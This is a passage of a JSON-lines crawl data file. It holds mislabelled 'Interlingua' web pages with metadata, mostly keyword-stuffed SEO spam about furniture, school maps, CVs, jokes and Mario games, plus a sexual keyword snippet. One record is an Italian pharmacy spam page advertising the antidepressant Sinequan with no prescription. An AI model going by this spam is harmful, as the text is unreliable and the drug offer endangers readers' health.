0.022735368460416794, \"cbk_Latn_score\": 0.019674690440297127, \"dag_Latn_score\": 0.019340207800269127, \"por_Latn_score\": 0.01890101470053196, \"slv_Latn_score\": 0.01722998172044754, \"nov_Latn_score\": 0.017131516709923744, \"swe_Latn_score\": 0.016431204974651337, \"srd_Latn_score\": 0.015707792714238167, \"fin_Latn_score\": 0.01312778890132904, \"lvs_Latn_score\": 0.012575159780681133, \"oci_Latn_score\": 0.012260174378752708}","num_words":249,"character_repetition_ratio":0.126,"word_repetition_ratio":0.383,"special_characters_ratio":0.221,"stopwords_ratio":0.044,"flagged_words_ratio":0.0,"lang_id_score":0.35,"perplexity_score":5393.9,"cluster_detection":-1} +{"text":"bibliotheque moderne design bibliothaque coloris bois moyen et wengac moderne madgo bibliotheque moderne design.\ndesign chic bibliotheque moderne bibliothque bibliothaque willowtemp,catacs crystalline moderne avec en bibliothaque bibliotheque design verre etagare, dacco bibliothaques amacnagement bibliotheque moderne design modernes et idace,blanche interieur design bibliotheque moderne bibliothaque,design meuble en exemplaires bibliothaque bibliotheque moderne dacclinac 25,moderne de murale bibliotheque conception design, murale 25 italia bibliothque cattelan best moderne bibliotheque design,top meuble 16 moderne bibliotheque bibliothaques au design,easyskinsme bibliotheque moderne design,le actagare pour quelques bibliothaque dans une bibliotheque moderne design salon idaces.","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/soundup.co\/bibliotheque-moderne-design\/bibliotheque-moderne-design-bibliothaque-coloris-bois-moyen-et-wengac-moderne-madgo-bibliotheque-moderne-design\/","date":"2018-11-21T21:05:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039750800.95\/warc\/CC-MAIN-20181121193727-20181121215727-00507.warc.gz","language":"ina","language_score":0.6119936109,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6119936108589172, \"fra_Latn_score\": 0.16472959518432617, \"lat_Latn_score\": 0.10730298608541489, \"enm_Latn_score\": 0.025292502716183662}","num_words":190,"character_repetition_ratio":0.249,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":0.612,"perplexity_score":13568.5,"cluster_detection":-1} +{"text":"mappa illuminismo mappe per la scuola illuminismo\nmappa illuminismo illuminismo italiano riassunto 28 images illuminismo\nmappa illuminismo mappa concettuale illuminismo mappa concettuale per storia\nmappa illuminismo illuminismo mappa concettuale sulle idee e i principi\nmappa illuminismo mappa concettuale sull illuminismo studentville\nmappa illuminismo mapper illuminismo in francia e italia\nmappa illuminismo il xviii secolo mappa concettuale 3 illuminismo storia\nmappa illuminismo didatticanet pagina 2\nmappa illuminismo tutti a bordo dislessia illuminismo mappa mentale\nmappa illuminismo mappa concettuale le riforme illuministiche studentville\nmappa illuminismo illuminismo mappa\nmappa illuminismo mappa concettuale illuminismo in italia 1750\nmappa illuminismo sintesi dell illuminismo rousseau voltaire diderot d\nmappa illuminismo mapper illuminismo scienza e arti\nmappa illuminismo mappa illuminismo html\nmappa illuminismo la scuoleria storia la rivoluzione scientifica e l\nmappa illuminismo mapper il pensiero illuminista\nmappa illuminismo l illuminismo in una mappa concettuale\nmappa illuminismo il illuminismo mappa concettuale\nmappa illuminismo grandi belli monelli classi iib e ia quot alighieri quot formia\nmappa illuminismo lezione di storia l illuminismo la scuola intelligente\nmappa illuminismo l illuminismo mappa concettuale\nmappa illuminismo mappa concettuale illuminismo\nmappa illuminismo paradiso delle mappe illuminismo l enciclopedia\nmappa illuminismo mappa concettuale gli ideali dell illuminismo 171 la\nmappa illuminismo italiano\nmappa illuminismo galilei di gorizia come studiare con metodo\nmappa illuminismo mapper illuminismo","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/www.roncobbdesigns.com\/mappa-illuminismo.html","date":"2019-01-19T17:22:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583671342.16\/warc\/CC-MAIN-20190119160425-20190119182425-00547.warc.gz","language":"ina","language_score":0.5780397058,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5780397057533264, \"ita_Latn_score\": 0.1481107622385025, \"bug_Latn_score\": 0.09544755518436432, \"lat_Latn_score\": 0.04341335594654083, \"ibg_Latn_score\": 0.03241321071982384, \"gdg_Latn_score\": 0.018537119030952454, \"eus_Latn_score\": 0.015057666227221489}","num_words":374,"character_repetition_ratio":0.375,"word_repetition_ratio":0.005,"special_characters_ratio":0.134,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":16224.2,"cluster_detection":-1} +{"text":"Le sexe Iranian sexe baise Posted on 23.02.201823.02.2018 by Svetlana Gurrola . Le sexe simpson sexe exhib ... Sexe Vivastreet academy sexe en streaming Sexe romantique film arabe sex Sexe plage sex academy Iranien à sucer putain de gay porno photos de sexe et de la famille guy anal. Sexe sauvage meme sexe","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/wareztr.org\/le-sexe-Iranian-sexe-baise","date":"2019-02-21T02:19:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247497858.46\/warc\/CC-MAIN-20190221010932-20190221032932-00516.warc.gz","language":"ina","language_score":0.3676086962,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3676086962223053, \"vec_Latn_score\": 0.35457760095596313, \"fra_Latn_score\": 0.07444723695516586, \"wes_Latn_score\": 0.02236766368150711, \"glg_Latn_score\": 0.017227845266461372, \"ile_Latn_score\": 0.015244186855852604, \"mfe_Latn_score\": 0.012201683595776558, \"eng_Latn_score\": 0.011912418529391289, \"nrm_Latn_score\": 0.011670124717056751, \"wls_Latn_score\": 0.010994404554367065}","num_words":94,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.446,"perplexity_score":5952.9,"cluster_detection":-1} +{"text":"como elaborar mi primer curriculum vitae esta son las claves para crear un buen currculum, 45 best cv resume templates images on pinterest como elaborar mi primer curriculum vitae, best curriculum vitae format example a good curriculum vitae como elaborar mi primer curriculum vitae, como elaborar mi primer curriculum vitae 394 best curriculum vitae images on pinterest, o hacer tu hoja de vida con formato para descargar gratis como elaborar mi primer curriculum vitae,\nComo Elaborar Mi Primer Curriculum Vitae Esta son Las Claves Para Crear Un Buen Currculum fuente: expansion.mx\n45 Best Cv Resume Templates Images On Pinterest Como Elaborar Mi Primer Curriculum Vitae fuente: pinterest.com\nBest Curriculum Vitae format Example A Good Curriculum Vitae Como Elaborar Mi Primer Curriculum Vitae fuente: huntvilla.info\nComo Elaborar Mi Primer Curriculum Vitae 394 Best Curriculum Vitae Images On Pinterest fuente: pinterest.com\nO Hacer Tu Hoja De Vida Con formato Para Descargar Gratis Como Elaborar Mi Primer Curriculum Vitae fuente: youtube.com\nComo Elaborar Mi Primer Curriculum Vitae 241 Best Curriculum Vitae Images On Pinterest fuente: pinterest.com\nO Hacer Un Curriculum Sin Experiencia Best Job Reference Tu Como Elaborar Mi Primer Curriculum Vitae fuente: bestjobreference.blogspot.com\ncomo elaborar mi primer curriculum vitae 241 best curriculum vitae images on pinterest, o hacer un curriculum sin experiencia best job reference tu como elaborar mi primer curriculum vitae, como elaborar mi primer curriculum vitae line business report writing courses search 27 hotcourses, enrique salvo tierra salvotierra como elaborar mi primer curriculum vitae,","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/teleycinema.com\/como-elaborar-mi-primer-curriculum-vitae\/","date":"2019-02-22T23:13:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550249406966.99\/warc\/CC-MAIN-20190222220601-20190223002601-00532.warc.gz","language":"ina","language_score":0.3275758326,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.32757583260536194, \"spa_Latn_score\": 0.14537671208381653, \"lat_Latn_score\": 0.1289772093296051, \"ast_Latn_score\": 0.05330078676342964, \"eus_Latn_score\": 0.04178866744041443, \"por_Latn_score\": 0.03349367156624794, \"sco_Latn_score\": 0.032298944890499115, \"arg_Latn_score\": 0.03030790574848652, \"cbk_Latn_score\": 0.022459903731942177, \"srd_Latn_score\": 0.01544437650591135, \"glg_Latn_score\": 0.014673409052193165, \"ile_Latn_score\": 0.01363523118197918, \"cat_Latn_score\": 0.010808850638568401}","num_words":431,"character_repetition_ratio":0.203,"word_repetition_ratio":0.6,"special_characters_ratio":0.172,"stopwords_ratio":0.065,"flagged_words_ratio":0.0,"lang_id_score":0.349,"perplexity_score":6876.1,"cluster_detection":-1} +{"text":"blague toto image blague toto poesie.\nblague toto quest blague toto ak ti joel.\nblague toto farces s blague de toto a lecole la poesie.\nblague toto zoo blague drole de toto a lecole.\nblague toto blague de toto courte et drole.\nblague toto blague de toto a lecole en video.\nblague toto blague de toto hyper drole.\nblague toto blague toto en creole haitien.\nblague toto issue 8 blague kreyol toto ak ti joel.\nblague toto la nos lectures pour pour parents blague de toto a lecole pdf.\nblague toto blague toto drole.\nblague toto blague de toto la poesie youtube.\nblague toto en image blagues toto courtes rigolotes.\nblague toto blague drole de toto a lecole.\nblague toto issue blague toto courte.\nblague toto image blague de toto a lecole en video.\nblague toto en image blague toto boule de noel.\nblague toto a mare e blague de toto pour noel.\nblague toto blague de toto courte et rigolote.\nblague toto en image blague super drole toto.\nblague toto nicotine blague de toto a lecole courte.\nblague toto blagues toto courtes rigolotes.\nblague toto blague toto poesie.\nblague toto image blague kreyol toto ak ti joel.\nblague toto des blague de toto drole.\nblague toto illustration blague de toto a lecole en video.\nblague toto la police frappe a la blague toto maitresse glace.","id":"","dump":"CC-MAIN-2019-39","url":"http:\/\/libertar.info\/blague-toto\/","date":"2019-09-17T17:34:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573098.0\/warc\/CC-MAIN-20190917161045-20190917183045-00291.warc.gz","language":"ina","language_score":0.8293455839,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.8293455839157104, \"nov_Latn_score\": 0.029562219977378845, \"frp_Latn_score\": 0.019049936905503273, \"ava_Cyrl_score\": 0.014395618811249733, \"sag_Latn_score\": 0.01195936743170023}","num_words":383,"character_repetition_ratio":0.284,"word_repetition_ratio":0.144,"special_characters_ratio":0.199,"stopwords_ratio":0.073,"flagged_words_ratio":0.0,"lang_id_score":0.829,"perplexity_score":8128.6,"cluster_detection":-1} +{"text":"13 free certificate templates for word adoption certificate template adoption certificate template 1 sample adoption certificates adoption certificate template free download adoption certificate template adoption certificate template adoption certificate template free pdf psd format adoption certificate template printable adoption certificate design template in psd word adoption certificate template stuffed animal adoption certificate\n13 Free Certificate Templates for Word Adoption Certificate Template\nAdoption Certificate Template 1 Sample Adoption Certificates\nAdoption Certificate Template Free Download Adoption Certificate Template\nAdoption Certificate Template Adoption Certificate Template Free Pdf Psd format\nAdoption Certificate Template Printable Adoption Certificate Design Template In Psd Word\nAdoption Certificate Template Stuffed Animal Adoption Certificate\nAdoption Certificate Template Free Pdf Psd format Adoption Certificate Template\nAdoption Birth Certificate Design Template In Psd Word Adoption Certificate Template\nadoption certificate template free pdf psd format adoption certificate template adoption birth certificate design template in psd word adoption certificate template","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.differentworld.us\/adoption-certificate-template\/","date":"2019-11-22T09:28:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671249.37\/warc\/CC-MAIN-20191122092537-20191122120537-00222.warc.gz","language":"ina","language_score":0.3187553883,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3187553882598877, \"eng_Latn_score\": 0.11956185847520828, \"lvs_Latn_score\": 0.0738600641489029, \"slk_Latn_score\": 0.050158679485321045, \"nld_Latn_score\": 0.04206133633852005, \"hun_Latn_score\": 0.03520950675010681, \"pol_Latn_score\": 0.03179112449288368, \"slv_Latn_score\": 0.029342390596866608, \"ile_Latn_score\": 0.02857731282711029, \"dag_Latn_score\": 0.02823035977780819, \"fin_Latn_score\": 0.022344941273331642, \"nno_Latn_score\": 0.0221321489661932, \"mlt_Latn_score\": 0.020187877118587494, \"swe_Latn_score\": 0.01909736730158329, \"ekk_Latn_score\": 0.017025770619511604, \"dan_Latn_score\": 0.01620176061987877, \"pcm_Latn_score\": 0.01589646004140377, \"lit_Latn_score\": 0.013764530420303345}","num_words":252,"character_repetition_ratio":0.279,"word_repetition_ratio":0.436,"special_characters_ratio":0.125,"stopwords_ratio":0.131,"flagged_words_ratio":0.0,"lang_id_score":0.317,"perplexity_score":12494.5,"cluster_detection":-1} +{"text":"Il miglior posto da ordinare 10 mg Sinequan\nDove Acquistare generico Sinequan nessuna prescrizione. Sinequan Generico è un farmaco antidepressivo triciclico. Viene usato nel trattamento della depressione e dell'ansia.\nValutazione 4.1 sulla base di 255 voti.\nPrezzo da inizio €0.26 Per pillola\nClick here to Order Generic Sinequan (Doxepin hydrochloride) NOW!\nSinequan generico para que sirve\ngenerico Sinequan 10 mg\ncomprar Sinequan generico en chile\ngenerico Sinequan germed\nAcquista Sinequan 10 mg Francia\nin linea Sinequan 10 mg Portogallo\ncomprar Sinequan generico paypal\nSconto Doxepin hydrochloride US\nSinequan acquisto on line italia\nacquistare Sinequan generico online\nbasso costo Sinequan Doxepin hydrochloride Croazia\nSinequan farmacia europea\nSconto 10 mg Sinequan Inghilterra\nA buon mercato Doxepin hydrochloride Italia\nbuy Strattera\nbuy Motrin\ngenerico Sinequan 10 mg Regno Unito\ngenerico Sinequan USA\npreco Sinequan farmacias\nA buon mercato Sinequan 10 mg Finlandia\nel Sinequan generico sirve\nventa Sinequan sin receta farmacias\ndove comprare Sinequan generico sicuro\ngenerico de Sinequan en españa\nIl costo di Sinequan 10 mg Svizzera\nconveniente 10 mg Sinequan Croazia\nin linea Sinequan Spagna\nPrezzo Sinequan Europa\nSinequan levitra genericos\nSconto 10 mg Sinequan USA\nSinequan farmacia valencia\nPrezzo basso Sinequan 10 mg Olanda\nPrezzo 10 mg Sinequan Belgio\nSinequan 10 mg in farmacia\nOrdine 10 mg Sinequan USA\nbasso costo 10 mg Sinequan UK\nfarmacias madrid Sinequan\ncomprar generico Sinequan en españa\nPrezzo basso Sinequan Doxepin hydrochloride Inghilterra\nAcquista Sinequan 10 mg Grecia\ndove acquistare Sinequan on line\nacquistare Sinequan in francia\nin linea Sinequan Danimarca\nbasso costo Sinequan Israele\nacquisto Sinequan san marino\nfarmacia on line vendita Sinequan\nA buon mercato 10 mg Sinequan Brasile\nconveniente Sinequan 10 mg Grecia\nAcquistare 10 mg Sinequan Belgio\nprecio en farmacia Sinequan 10 mg\nconveniente Sinequan 10 mg Tacchino\nin linea Sinequan Brasile\nqual e o generico do Sinequan\nAcquista Sinequan 10 mg\nQuanto costa Sinequan 10 mg Singapore\nSinequan farmacia peru\nacquisto sicuro Sinequan on-line\nacquistare Sinequan originale online\nPrezzo Sinequan 10 mg Tacchino\ncuanto cuesta el Sinequan generico mexico\nOrdine Sinequan 10 mg US\ngenerico Sinequan onde comprar\nbasso costo Sinequan 10 mg Brasile\nSinequan generico maxifort\nIl costo di Sinequan Doxepin hydrochloride Emirati Arabi Uniti\nIl costo di 10 mg Sinequan Finlandia\ncomprar Sinequan nas farmacias\nAcquista Sinequan 10 mg Inghilterra\nOrdine 10 mg Sinequan Portogallo\nOrdine Sinequan Doxepin hydrochloride Danimarca\nIl costo di Sinequan 10 mg Singapore\nAcquista Sinequan 10 mg Francia\nOrdine Sinequan 10 mg Norvegia\nOrdine Sinequan Doxepin hydrochloride Croazia\ngenerico Sinequan funciona mesmo\ndonde puedo comprar Sinequan generico\nbasso costo Sinequan Belgio\nAcquistare Sinequan Doxepin hydrochloride Italia\nfarmacia line italia Sinequan\nA buon mercato Sinequan Doxepin hydrochloride Svizzera\ncomprar Sinequan sin receta medica farmacia\ncomo comprar Sinequan farmacia\nmejor precio Sinequan generico\nin linea 10 mg Sinequan Norvegia\nnombres genericos Sinequan argentina\nconveniente Sinequan 10 mg Australia\nAcquista 10 mg Sinequan Svezia\nnombre Sinequan genericos\nSinequan once day generico\nquanto custa um Sinequan na farmacia\nAcquistare Sinequan 10 mg Portogallo\nfarmacia online Sinequan Doxepin hydrochloride\nmiglior sito acquisto Sinequan\ngenerico Sinequan Danimarca\ngenerico Doxepin hydrochloride Olanda\nbuy Indomethacin\ngeneric Suhagra\nbuy Zocor\nstella-m.ru\nPuZRft","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/testingpagegroup23.azurewebsites.net\/2018\/07\/04\/ordini-privato-e-sicuro-il-miglior-posto-da-ordinare-10-mg-sinequan-trasporto-veloce-universalmente\/","date":"2019-11-20T06:39:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670512.94\/warc\/CC-MAIN-20191120060344-20191120084344-00184.warc.gz","language":"ina","language_score":0.389880687,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3898806869983673, \"ita_Latn_score\": 0.11906362324953079, \"eus_Latn_score\": 0.1087551936507225, \"lat_Latn_score\": 0.08668632805347443, \"ile_Latn_score\": 0.06608778238296509, \"mlt_Latn_score\": 0.01799352839589119, \"kiu_Latn_score\": 0.01644856110215187, \"scn_Latn_score\": 0.016370471566915512, \"por_Latn_score\": 0.01560305804014206, \"lij_Latn_score\": 0.011372205801308155, \"vec_Latn_score\": 0.010517069138586521, \"nld_Latn_score\": 0.010162393562495708}","num_words":1052,"character_repetition_ratio":0.194,"word_repetition_ratio":0.012,"special_characters_ratio":0.169,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.194,"perplexity_score":28664.3,"cluster_detection":-1} +{"text":"juegos de mario bros de terror\nSuper Mario bros star scramble 2juegos de mario bros de terror\nJump Mariojuegos de mario bros de terror\nMario Crystal Cavejuegos de mario bros de terror\nMario Atvjuegos de mario bros de terror\nMario contra el tiempojuegos de mario bros de terror\nSuper Mario Coin Catcherjuegos de mario bros de terror\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros de terror\nMario Super Smashjuegos de mario bros de terror\nSuper Mario Bros Crossoverjuegos de mario bros de terror\nJuegos de Mario Bros: Mario ATV in Sonic Landjuegos de mario bros de terror\nMario Shoot zombiesjuegos de mario bros de terror\nSuper Mario Flashjuegos de mario bros de terror\nJuegos de Mario bros: Free Super Mario Brosjuegos de mario bros de terror\nYokojuegos de mario bros de terror\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros de terror\nSuper Mario Bros: Star Scramblejuegos de mario bros de terror\nSuper Mario Escene worldjuegos de mario bros de terror\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros de terror\nSuper Mario Motojuegos de mario bros de terror\nHongos en líneajuegos de mario bros de terror\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros de terror\nSuper Mario 3: Star Scramblejuegos de mario bros de terror\nMario Superjuegos de mario bros de terror\nSuper Mario Space invadersjuegos de mario bros de terror\nMario Racing Tournamentjuegos de mario bros de terror\nMario Adventure 2juegos de mario bros de terror\nSuper Mario flash partyjuegos de mario bros de terror\nMario's Adventure 2juegos de mario bros de terror\nMario ATV 2juegos de mario bros de terror\nMario Strikersjuegos de mario bros de terror\nJuegos de Mario Bros: Luigi Drivejuegos de mario bros de terror\nMario Flat Screenjuegos de mario bros de terror","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/juegosdemariobros.net\/terror\/","date":"2019-12-14T21:41:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541294513.54\/warc\/CC-MAIN-20191214202754-20191214230754-00065.warc.gz","language":"ina","language_score":0.4005302191,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.40053021907806396, \"spa_Latn_score\": 0.3629153370857239, \"frp_Latn_score\": 0.0510714091360569, \"glg_Latn_score\": 0.036758072674274445, \"alz_Latn_score\": 0.029995864257216454, \"mwl_Latn_score\": 0.01823004148900509, \"srd_Latn_score\": 0.01707686483860016}","num_words":563,"character_repetition_ratio":0.432,"word_repetition_ratio":0.309,"special_characters_ratio":0.177,"stopwords_ratio":0.087,"flagged_words_ratio":0.0,"lang_id_score":0.608,"perplexity_score":5906.4,"cluster_detection":-1} +{"text":"Catálogo\nCargando ...\nCesta de Regalo JABUGUITOS\nCesta de Regalo MERMELADAS\nCesta de Regalo GRACIOSA\nCesta de Regalo SELECCIÃN\nCesta de Regalo TENTEMPIE\nCesta de Regalo REFRIGERIO\nCesta de Regalo OVETENSE\nCesta de Regalo MORRIÃA\nCesta de Regalo TARIMA HILL\nCesta de Regalo ENTRE AMIGOS\nCesta de Regalo BAZKARIA\nCesta de Regalo CAZADORA\nCesta de Regalo BON VIVANT\nCesta de Regalo BURLEIGHS\nCesta de Regalo LA SANTINA\nCesta de Regalo BON VOYAGE\nCesta de Regalo NUEVA MAMÃ\nCesta de Regalo ADEREZO\nCesta de Regalo INSPIRACIÃN\nCesta de Regalo CARRAOVEJAS\nCesta de Regalo Homenaje\nCesta de Regalo VIAJERA\nCesta de Regalo FELICIDAD\nCesta de Regalo ILUSIÃN\nCesta de Regalo MUGA\nCesta de Regalo SEDUCCIÃN\nCesta de Navidad RÃO GRANDE\nCesta de Regalo RÃO GRANDE\nCesta de Regalo UNICA\nCesta de Regalo CELEBRACIÃN\nCesta de Regalo ATRACCIÃN.\nCesta de Regalo ESPECIAL\nCesta de Regalo GOLD\nCesta de Regalo DON FOODIE\nCesta de Regalo EUROPEA\nCesta de Regalo PEQUEÃOS PLACERES\nCesta de Navidad GLORIOSA","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/donfoodie.com\/regalos","date":"2020-01-23T02:00:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250608062.57\/warc\/CC-MAIN-20200123011418-20200123040418-00068.warc.gz","language":"ina","language_score":0.7064642906,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7064642906188965, \"por_Latn_score\": 0.051658861339092255, \"glg_Latn_score\": 0.03519117832183838, \"szl_Latn_score\": 0.03037760779261589, \"ckm_Latn_score\": 0.018057217821478844, \"rmy_Latn_score\": 0.01542949303984642, \"spa_Latn_score\": 0.010894098319113255, \"ast_Latn_score\": 0.010884014889597893, \"mwl_Latn_score\": 0.010255914181470871}","num_words":307,"character_repetition_ratio":0.354,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.165,"perplexity_score":21569.2,"cluster_detection":-1} +{"text":"juegos de mario bros infinite\nSuper Mario Flash 3juegos de mario bros infinite\nJuegos de Mario Bros: Mario Hoodjuegos de mario bros infinite\nMario ATV 2juegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros infinite\nJuegos de Mario Bros: Luigi Drivejuegos de mario bros infinite\nSuper Mario Bros Crossoverjuegos de mario bros infinite\nMario Atvjuegos de mario bros infinite\nMario contra el tiempojuegos de mario bros infinite\nSuper Mario Space invadersjuegos de mario bros infinite\nInfinite Mario Brosjuegos de mario bros infinite\nYokojuegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Waterjuegos de mario bros infinite\nMario Adventure 2juegos de mario bros infinite\nJuegos de Mario bros: Mario Shotgun 2juegos de mario bros infinite\nMario Super Smashjuegos de mario bros infinite\nThe Adventure of Super Mario Landjuegos de mario bros infinite\nJuegos de Mario Bros: Mario ATV in Sonic Landjuegos de mario bros infinite\nMario Strikersjuegos de mario bros infinite\nMario Flat Screenjuegos de mario bros infinite\nSuper Mario flash partyjuegos de mario bros infinite\nMario Crystal Cavejuegos de mario bros infinite\nMario Kartjuegos de mario bros infinite\nMario y las plantas carnívorasjuegos de mario bros infinite\nSuper Mario Escene worldjuegos de mario bros infinite\nTuxedo Mariojuegos de mario bros infinite\nMario Town 2juegos de mario bros infinite\nSuper Mario Bros: Star Scramblejuegos de mario bros infinite\nSuper Mario Jigsaw Puzzle 4juegos de mario bros infinite\nSuper Mario Coin Catcherjuegos de mario bros infinite\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros infinite\nMario Superjuegos de mario bros infinite\nSuper Mario World Flash 2juegos de mario bros infinite","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/juegosdemariobros.net\/infinite\/","date":"2020-04-03T00:24:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370509103.51\/warc\/CC-MAIN-20200402235814-20200403025814-00113.warc.gz","language":"ina","language_score":0.3959476948,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3959476947784424, \"spa_Latn_score\": 0.2870708405971527, \"arg_Latn_score\": 0.08039088547229767, \"alz_Latn_score\": 0.03311732038855553, \"srd_Latn_score\": 0.024585062637925148, \"ido_Latn_score\": 0.015994621440768242, \"lat_Latn_score\": 0.01356592308729887, \"glg_Latn_score\": 0.010670485906302929}","num_words":533,"character_repetition_ratio":0.436,"word_repetition_ratio":0.248,"special_characters_ratio":0.164,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":7644.9,"cluster_detection":-1} +{"text":"juegos de mario bros infinite\nThe Adventure of Super Mario Landjuegos de mario bros infinite\nWario Puzzlejuegos de mario bros infinite\nJuego de Mario Bros: Mario Forever Flashjuegos de mario bros infinite\nJuegos de Mario Bros: Mario Breakoutjuegos de mario bros infinite\nMario Adventure 2juegos de mario bros infinite\nSuper Mario Jigsaw Puzzle 4juegos de mario bros infinite\nMario Boxing Gamejuegos de mario bros infinite\nMario Racing Tournamentjuegos de mario bros infinite\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros infinite\nMario Atvjuegos de mario bros infinite\nSuper Mario Flashjuegos de mario bros infinite\nSuper Mario Motojuegos de mario bros infinite\nSuper Mario Flash 2juegos de mario bros infinite\nMario's Adventure 2juegos de mario bros infinite\nSuper Mario Bros Crossoverjuegos de mario bros infinite\nSuper Mario 63juegos de mario bros infinite\nMario Superjuegos de mario bros infinite\nSuper Mario Coin Catcherjuegos de mario bros infinite\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros infinite\nJuegos de Mario Bros: Super Flashjuegos de mario bros infinite\nJuegos de Mario Bros: Luigi Drivejuegos de mario bros infinite\nMario y las plantas carnívorasjuegos de mario bros infinite\nMario Super Smashjuegos de mario bros infinite\nJuegos de Mario Bros: Super Mario 63juegos de mario bros infinite\nYokojuegos de mario bros infinite\nMario Strikersjuegos de mario bros infinite\nSuper Mario 3: Star Scramblejuegos de mario bros infinite\nSuper Mario bros star scramble 2juegos de mario bros infinite\nSuper Mario Flash 3juegos de mario bros infinite\nTuxedo Mariojuegos de mario bros infinite\nSuper Mario World Flash 2juegos de mario bros infinite\nMario Shoot zombiesjuegos de mario bros infinite","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/juegosdemariobros.net\/infinite\/","date":"2020-05-29T22:11:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347406785.66\/warc\/CC-MAIN-20200529214634-20200530004634-00193.warc.gz","language":"ina","language_score":0.3888617456,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.388861745595932, \"spa_Latn_score\": 0.3016693890094757, \"arg_Latn_score\": 0.07137533277273178, \"alz_Latn_score\": 0.031607337296009064, \"srd_Latn_score\": 0.02730727382004261, \"ido_Latn_score\": 0.01608934998512268, \"lat_Latn_score\": 0.013281584717333317, \"glg_Latn_score\": 0.0114656463265419}","num_words":526,"character_repetition_ratio":0.433,"word_repetition_ratio":0.298,"special_characters_ratio":0.165,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":0.518,"perplexity_score":8259.2,"cluster_detection":-1} +{"text":"|sorti le 01\/04\/00||sorti le 01\/05\/00||sorti le 01\/07\/00||sorti le 01\/09\/00||sorti le 01\/12\/00||sorti le 20\/01\/01|\n|sorti le 01\/04\/01||sorti le 07\/07\/01||sorti le 06\/10\/01||sorti le 01\/12\/01||sorti le 02\/03\/02||sorti le 01\/06\/02|\n|sorti le 05\/10\/02||sorti le 25\/01\/03||sorti le 05\/04\/03||sorti le 05\/07\/03||sorti le 01\/11\/03||sorti le 07\/02\/04|\n|sorti le 17\/04\/04||sorti le 05\/06\/04||sorti le 28\/08\/04||sorti le 02\/10\/04||sorti le 04\/12\/04||sorti le 04\/02\/05|\n|sorti le 01\/04\/05||sorti le ??\/06\/05||sorti le 26\/08\/05||sorti le 21\/10\/05||sorti le 02\/12\/05||sorti le 03\/02\/06|\n|sorti le 07\/04\/06||sorti le 16\/06\/06|\n|Couvertures françaises des 32 volumes parus chez Kana|","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.mangaverse.net\/html\/shamankcouvfr.htm","date":"2020-08-11T15:36:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738816.7\/warc\/CC-MAIN-20200811150134-20200811180134-00524.warc.gz","language":"ina","language_score":0.3203535676,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.32035356760025024, \"ron_Latn_score\": 0.21500837802886963, \"fra_Latn_score\": 0.21204930543899536, \"und_Grek_score\": 0.14744584262371063, 